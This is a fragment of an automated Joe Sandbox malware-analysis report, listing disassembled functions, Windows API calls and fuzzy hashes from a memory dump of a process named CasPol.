                                                                                                                                                                    • Part of subcall function 0040973C: MessageBoxW.USER32(?,?,Error,00000030), ref: 00409796
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Handle$??2@??3@CloseCreateErrorFileLastMessage_snwprintf
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1381354015-0
                                                                                                                                                                  • Opcode ID: 331637186d7fda146188de6d28ea3842bad20729486783243114fed48956b45e
                                                                                                                                                                  • Instruction ID: c777e68e994987bb064ab7fb99de871126f79ef1b866bcb434911d427814d160
                                                                                                                                                                  • Opcode Fuzzy Hash: 331637186d7fda146188de6d28ea3842bad20729486783243114fed48956b45e
                                                                                                                                                                  • Instruction Fuzzy Hash: BE417231A00204EFCB25AF65C885A9E77B6EF84711F20446FF446A7291C7B99EC0DE59
                                                                                                                                                                  Function 0040B1AB Relevance: 2.5, APIs: 2, Instructions: 14COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: free
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1294909896-0
                                                                                                                                                                  • Opcode ID: cbd9f9e03ce833727f217058398efad0a096bf54ba10072877aeedcd786ebb4c
                                                                                                                                                                  • Instruction ID: 7f33cc2486ffea160e999b9abaf125df84647c5341351ad01334bd221cd3bada
                                                                                                                                                                  • Opcode Fuzzy Hash: cbd9f9e03ce833727f217058398efad0a096bf54ba10072877aeedcd786ebb4c
                                                                                                                                                                  • Instruction Fuzzy Hash: 32D042B0404B008ED7B0DF39D401602BBF0AB093143118D2E90AAC2A50E775A0149F08
                                                                                                                                                                  Function 004136C0 Relevance: 1.7, APIs: 1, Instructions: 163COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID:
                                                                                                                                                                  • Opcode ID: 47b7cceb40ac73e48e091e39f89a81a5349c65788578bfc7b3808e4b699817ff
                                                                                                                                                                  • Instruction ID: 68238382b965d6cf35967491492c160b6f6d54887ef21f0023ff885919cfaa00
                                                                                                                                                                  • Opcode Fuzzy Hash: 47b7cceb40ac73e48e091e39f89a81a5349c65788578bfc7b3808e4b699817ff
                                                                                                                                                                  • Instruction Fuzzy Hash: 695126B5A00209AFCB14DFD4C884CEFBBB9FF88705B14C559F512AB254E735AA46CB60
                                                                                                                                                                  Function 00403988 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00403A16: memset.MSVCRT ref: 00403A55
                                                                                                                                                                    • Part of subcall function 0040A02C: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,02000000,00000000), ref: 0040A044
                                                                                                                                                                    • Part of subcall function 0040A02C: GetFileTime.KERNEL32(00000000,00000000,00000000,?), ref: 0040A058
                                                                                                                                                                    • Part of subcall function 0040A02C: CloseHandle.KERNEL32(00000000), ref: 0040A061
                                                                                                                                                                  • CompareFileTime.KERNEL32(?,?,00000000,?,00000000), ref: 004039D4
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: File$Time$CloseCompareCreateHandlememset
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2154303073-0
                                                                                                                                                                  • Opcode ID: 56a49437465c6dd79f718b685576690655c489aaf9a54b49d185ed9555da5ee2
                                                                                                                                                                  • Instruction ID: d476be81a684c5cf971044fbd14bb177a9e73989d843208b34704cc982626f94
                                                                                                                                                                  • Opcode Fuzzy Hash: 56a49437465c6dd79f718b685576690655c489aaf9a54b49d185ed9555da5ee2
                                                                                                                                                                  • Instruction Fuzzy Hash: 11111CB6D00218ABCB11EFA5D9415DEBBB9EF44315F20407BE841F7281DA389F45CB95
                                                                                                                                                                  Function 004135F7 Relevance: 1.5, APIs: 1, Instructions: 44libraryloaderCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 004135E0: FreeLibrary.KERNELBASE(?,00413603,00000000,0044557A,?,?,?,?,?,00403335,?), ref: 004135EC
                                                                                                                                                                    • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                                                                                                    • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104,?,?,?), ref: 0040A841
                                                                                                                                                                    • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                                                                                                    • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(00000000), ref: 0040A87B
                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?), ref: 0040A884
                                                                                                                                                                  • GetProcAddress.KERNEL32(?,00000000,000000F1,00000000,0044557A,?,?,?,?,?,00403335,?), ref: 0041362A
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Library$Load$AddressDirectoryFreeProcSystemmemsetwcscatwcscpy
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3150196962-0
                                                                                                                                                                  • Opcode ID: 095a0049c7a0b0aa8adc47b9682ac82dede396c8921c9c5897dae779e37db889
                                                                                                                                                                  • Instruction ID: 35a9ad0fe6b4507ee66bae46934dcfd2e139bf0842d10804986ce3ee8b034d80
                                                                                                                                                                  • Opcode Fuzzy Hash: 095a0049c7a0b0aa8adc47b9682ac82dede396c8921c9c5897dae779e37db889
                                                                                                                                                                  • Instruction Fuzzy Hash: BBF0A4311447126AE6306B7AAC02BE762849F00725F10862EB425D55D1EFA8D5C046AC
                                                                                                                                                                  Function 004062A6 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • SetFilePointerEx.KERNELBASE(0040627C,?,?,00000000,00000000), ref: 004062C2
                                                                                                                                                                    • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000), ref: 0040A306
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: File$PointerRead
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3154509469-0
                                                                                                                                                                  • Opcode ID: f15afef8f4b97f48ba7652cd85e3a24bc41a353f13de395cadc5358a8aad8795
                                                                                                                                                                  • Instruction ID: d794e9b43e5f56b2d2e2073d65b81241c22a9a75ad02cc9b2284f18e77a2fe0f
                                                                                                                                                                  • Opcode Fuzzy Hash: f15afef8f4b97f48ba7652cd85e3a24bc41a353f13de395cadc5358a8aad8795
                                                                                                                                                                  • Instruction Fuzzy Hash: 45E01276100100FFE6619B05DC06F57FBB9FBD4710F14883DB59596174C6326851CB25
                                                                                                                                                                  Function 00414561 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetPrivateProfileIntW.KERNEL32(?,?,?,?), ref: 00414588
                                                                                                                                                                    • Part of subcall function 004143F1: memset.MSVCRT ref: 00414410
                                                                                                                                                                    • Part of subcall function 004143F1: _itow.MSVCRT ref: 00414427
                                                                                                                                                                    • Part of subcall function 004143F1: WritePrivateProfileStringW.KERNEL32(?,?,00000000), ref: 00414436
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: PrivateProfile$StringWrite_itowmemset
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 4232544981-0
                                                                                                                                                                  • Opcode ID: 58bd15f6e23597088465cc0f12acd7a0529fd6d647dc9a4ec136155e63c93ad6
                                                                                                                                                                  • Instruction ID: 104e910b762de94586eb11e4c264cf061db1895f8dce3fe8c281d71359574313
                                                                                                                                                                  • Opcode Fuzzy Hash: 58bd15f6e23597088465cc0f12acd7a0529fd6d647dc9a4ec136155e63c93ad6
                                                                                                                                                                  • Instruction Fuzzy Hash: 8EE09232000209ABDF125F91EC01AA93B66FF54315F548469F95C05520D33295B0AB59
                                                                                                                                                                  Function 00444A54 Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • FreeLibrary.KERNELBASE(?,?,004452FB,?,?,?,0040333C,?), ref: 00444A65
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: FreeLibrary
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3664257935-0
                                                                                                                                                                  • Opcode ID: 8c39ef9eaf727128d218f1dddc73c1f621731b9859e7ea9690b0e693fd97a8de
                                                                                                                                                                  • Instruction ID: 9043d1e372537a54137ae43dcd20834ee918eeaa55a47e8e1dedab4d47514996
                                                                                                                                                                  • Opcode Fuzzy Hash: 8c39ef9eaf727128d218f1dddc73c1f621731b9859e7ea9690b0e693fd97a8de
                                                                                                                                                                  • Instruction Fuzzy Hash: E2E0F6B5900B018FD3708F1BE944406FBF8BFE56113108A1FD4AAC2A24D7B4A1898F54
                                                                                                                                                                  Function 00413F27 Relevance: 1.5, APIs: 1, Instructions: 15COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(00000000,psapi.dll,00000000,00413F2F,00000000,00413E1F,00000000,?), ref: 00413F6F
                                                                                                                                                                    • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(?,EnumProcessModules), ref: 00413F7B
                                                                                                                                                                    • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(?,GetModuleFileNameExW), ref: 00413F87
                                                                                                                                                                    • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(?,EnumProcesses), ref: 00413F93
                                                                                                                                                                    • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(?,GetModuleInformation), ref: 00413F9F
                                                                                                                                                                  • K32GetModuleFileNameExW.KERNEL32(00000104,00000000,00413E1F,00000104,00413E1F,00000000,?), ref: 00413F46
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: AddressProc$FileModuleName
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3859505661-0
                                                                                                                                                                  • Opcode ID: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
                                                                                                                                                                  • Instruction ID: eb737a8a997ed41d0f7a348c178ce8d4b8225706e43eb580f21eee6dbde26bc7
                                                                                                                                                                  • Opcode Fuzzy Hash: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
                                                                                                                                                                  • Instruction Fuzzy Hash: 6FD02231B083007BEA20EE70CC00FCBA2F47F40F12F008C5AB191D2080C374C9495305
                                                                                                                                                                  Function 0040A2EF Relevance: 1.5, APIs: 1, Instructions: 13fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000), ref: 0040A306
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: FileRead
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2738559852-0
                                                                                                                                                                  • Opcode ID: 954c46e0e75d823fede48ea8c55c2feae074eed5d1d1543d384a91c6a040f523
                                                                                                                                                                  • Instruction ID: df780c2d30ec27a436fe2e8938b9b3026ee6fdf868a35847a3a0dbf755fefbc9
                                                                                                                                                                  • Opcode Fuzzy Hash: 954c46e0e75d823fede48ea8c55c2feae074eed5d1d1543d384a91c6a040f523
                                                                                                                                                                  • Instruction Fuzzy Hash: 6DD0C97505020DFBDF01CF81DC06FDD7B7DFB05359F108054BA0095060C7759A15AB55
                                                                                                                                                                  Function 0040A30E Relevance: 1.5, APIs: 1, Instructions: 13fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • WriteFile.KERNELBASE(?,00000009,?,00000000,00000000), ref: 0040A325
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: FileWrite
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3934441357-0
                                                                                                                                                                  • Opcode ID: ceb9d1a6229db680868981d1c52190471358147ed4569e3c2bde9500725be326
                                                                                                                                                                  • Instruction ID: 3280266517864b8de079c100525e5277478ec149926fcdeece843fe2c70d8c86
                                                                                                                                                                  • Opcode Fuzzy Hash: ceb9d1a6229db680868981d1c52190471358147ed4569e3c2bde9500725be326
                                                                                                                                                                  • Instruction Fuzzy Hash: CFD0C93501020DFBDF01CF81DC06FDD7BBDFB04359F108054BA1095060D7B59A20AB94
                                                                                                                                                                  Function 00413D29 Relevance: 1.5, APIs: 1, Instructions: 13COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • FreeLibrary.KERNELBASE(00000000,004457F2,00000000,000001F7,00000000), ref: 00413D30
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: FreeLibrary
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3664257935-0
                                                                                                                                                                  • Opcode ID: 4aed56dde2bff02888507ea152729a1ee15f70291d16ca6bd798c1e7fc2ec88c
                                                                                                                                                                  • Instruction ID: 8f6381f957debc367d4a0444659be52de1bfd3a154b3998764173f6a98a011bd
                                                                                                                                                                  • Opcode Fuzzy Hash: 4aed56dde2bff02888507ea152729a1ee15f70291d16ca6bd798c1e7fc2ec88c
                                                                                                                                                                  • Instruction Fuzzy Hash: 1DD0C9765002229BDB10AF26EC057857378FF00712B110425E810B7594D778BEE68ADC
                                                                                                                                                                  Function 004096C3 Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 004096D5
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CreateFile
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 823142352-0
                                                                                                                                                                  • Opcode ID: 5246709bc6ec1dabf70528f5ad42ffc01d78c7e2d09fe5df7c46969d7a5ea179
                                                                                                                                                                  • Instruction ID: 15e4bfb1af8ab284213ec8af4af1ca3ed9a3c322684c6da9746693c795416a08
                                                                                                                                                                  • Opcode Fuzzy Hash: 5246709bc6ec1dabf70528f5ad42ffc01d78c7e2d09fe5df7c46969d7a5ea179
                                                                                                                                                                  • Instruction Fuzzy Hash: A8C092B0280200BEFE224B10EC15F36755CE744700F2008247E40F40E0C1605E108524
                                                                                                                                                                  Function 004096DC Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • CreateFileW.KERNELBASE(00000001,40000000,00000001,00000000,00000002,00000000,00000000), ref: 004096EE
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CreateFile
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 823142352-0
                                                                                                                                                                  • Opcode ID: ab7a8cdf7eb8bf952c1c1b88a04d9996938fd5cdd98684eb6691b5f60f9c195d
                                                                                                                                                                  • Instruction ID: 13aef0f41518da9c32968a96bed17b980f0e8f352a8d1793a660c4ee04e7d177
                                                                                                                                                                  • Opcode Fuzzy Hash: ab7a8cdf7eb8bf952c1c1b88a04d9996938fd5cdd98684eb6691b5f60f9c195d
                                                                                                                                                                  • Instruction Fuzzy Hash: B8C012F02903007EFF204B10AC0AF37755DF784700F2048207E40F40E1C2B15C008524
                                                                                                                                                                  Function 0040B04B Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • ??3@YAXPAX@Z.MSVCRT(00000000,00401B44,0044E518,?,00000001,00401B95,?,00401EE4), ref: 0040B052
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ??3@
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 613200358-0
                                                                                                                                                                  • Opcode ID: ffbe44a51c26d842ca56a491b3c7d92fb1c4d2adc00a6a519549e0909776451f
                                                                                                                                                                  • Instruction ID: 6ff791ec813821c2e9e24527ebed0d702daabad41f6d5d50af9b89e3d4ad0470
                                                                                                                                                                  • Opcode Fuzzy Hash: ffbe44a51c26d842ca56a491b3c7d92fb1c4d2adc00a6a519549e0909776451f
                                                                                                                                                                  • Instruction Fuzzy Hash: ADC09BB15117014BE7305F15D40471373D49F11727F318C1DA5D1914C2D77CD4408518
                                                                                                                                                                  Function 004135E0 Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • FreeLibrary.KERNELBASE(?,00413603,00000000,0044557A,?,?,?,?,?,00403335,?), ref: 004135EC
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: FreeLibrary
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3664257935-0
                                                                                                                                                                  • Opcode ID: 844f7501f44133ba018c3401d7aef3826eb6c790b17bce713828cee3c51aa695
                                                                                                                                                                  • Instruction ID: 97b2006ec1e2dd28fddd19cbcf35086f2a6b1d7d6d8af37d8808782836c913ed
                                                                                                                                                                  • Opcode Fuzzy Hash: 844f7501f44133ba018c3401d7aef3826eb6c790b17bce713828cee3c51aa695
                                                                                                                                                                  • Instruction Fuzzy Hash: C1C04C355107129BE7318F22C849793B3E8BB00767F40C818A56A85454D7BCE594CE28
                                                                                                                                                                  Function 0041493C Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • EnumResourceNamesW.KERNEL32(?,?,Function_000148B6,00000000), ref: 0041494B
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: EnumNamesResource
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3334572018-0
                                                                                                                                                                  • Opcode ID: 66f1156765df5e37ef2ff2f84c2d9879992723494834984b76c3e66af834c78a
                                                                                                                                                                  • Instruction ID: 4cd0fc1a45efe5f4a77ff86a676eea9814a6d41529a344ef69fdb726e0e13cac
                                                                                                                                                                  • Opcode Fuzzy Hash: 66f1156765df5e37ef2ff2f84c2d9879992723494834984b76c3e66af834c78a
                                                                                                                                                                  • Instruction Fuzzy Hash: 5CC09B355943819FD711DF108C05F1A76D5BF95705F104C397151940A0C7614014A60A
                                                                                                                                                                  Function 0044DEA5 Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • FreeLibrary.KERNELBASE(?), ref: 0044DEB6
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: FreeLibrary
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3664257935-0
                                                                                                                                                                  • Opcode ID: bc29afbdeb633a61cc40634aee98d5405fe4c9068b08d77425fcd78e2ed3a7cd
                                                                                                                                                                  • Instruction ID: c12df66a07a312a107e4de7a98dbd39cb061029a89fa16cd2619b088cce9516a
                                                                                                                                                                  • Opcode Fuzzy Hash: bc29afbdeb633a61cc40634aee98d5405fe4c9068b08d77425fcd78e2ed3a7cd
                                                                                                                                                                  • Instruction Fuzzy Hash: 95C04C35D10311ABFB31AB11ED4975232A5BB00717F52006494128D065D7B8E454CB2D
                                                                                                                                                                  Function 0040AEBE Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • FindClose.KERNELBASE(?,0040AE21,?,00000000,00445EF5,*.*,?,00000000,?,00000104,?,?,?,?,?,00000104), ref: 0040AEC8
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CloseFind
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1863332320-0
                                                                                                                                                                  • Opcode ID: c351b702f3e9cabc65afcca29c8835cc335007c1b5069ed2425bca2f993f3ba3
                                                                                                                                                                  • Instruction ID: 0a5868f0c47a417661f40efe111cada53839b745ef6d73ffe26d621af3302058
                                                                                                                                                                  • Opcode Fuzzy Hash: c351b702f3e9cabc65afcca29c8835cc335007c1b5069ed2425bca2f993f3ba3
                                                                                                                                                                  • Instruction Fuzzy Hash: 06C092341506058BD62C5F38DC9A42A77A0BF4A3303B40F6CA0F3D24F0E73888538A04
                                                                                                                                                                  Function 00414592 Relevance: 1.5, APIs: 1, Instructions: 7registryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • RegOpenKeyExW.KERNEL32(80000002,80000002,00000000,00020019,80000002,00414CC1,80000002,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders,00445DDE,?,?,00000000), ref: 004145A5
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Open
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 71445658-0
                                                                                                                                                                  • Opcode ID: cea4c8dffb5a7e03adddd135b873dbda16caaf5da1da7b073e7ed9ea122c33c6
                                                                                                                                                                  • Instruction ID: 4e31294bd56c0fd8f54a78566f459ab053e1b17b284f5820c9a90ca28514d216
                                                                                                                                                                  • Opcode Fuzzy Hash: cea4c8dffb5a7e03adddd135b873dbda16caaf5da1da7b073e7ed9ea122c33c6
                                                                                                                                                                  • Instruction Fuzzy Hash: C4C09B35544311BFDE114F40FD09F09BB61BB84B05F004414B254640B182714414EB17
                                                                                                                                                                  Function 00409B98 Relevance: 1.5, APIs: 1, Instructions: 7COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: AttributesFile
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3188754299-0
                                                                                                                                                                  • Opcode ID: 58881c252121c77da0d0db5638804f50f66f4a7a85cb6d231bcd6b2301be346c
                                                                                                                                                                  • Instruction ID: 3e515636d229e53f9e638efbf3d1d2cf0185fd636b5c9b7db17c068ea44c501e
                                                                                                                                                                  • Opcode Fuzzy Hash: 58881c252121c77da0d0db5638804f50f66f4a7a85cb6d231bcd6b2301be346c
                                                                                                                                                                  • Instruction Fuzzy Hash: B9B012792104005BCB0807349C4904D35507F456317200B3CF033C00F0D730CC61BA00
                                                                                                                                                                  Function 0041BE52 Relevance: 1.3, APIs: 1, Instructions: 99COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
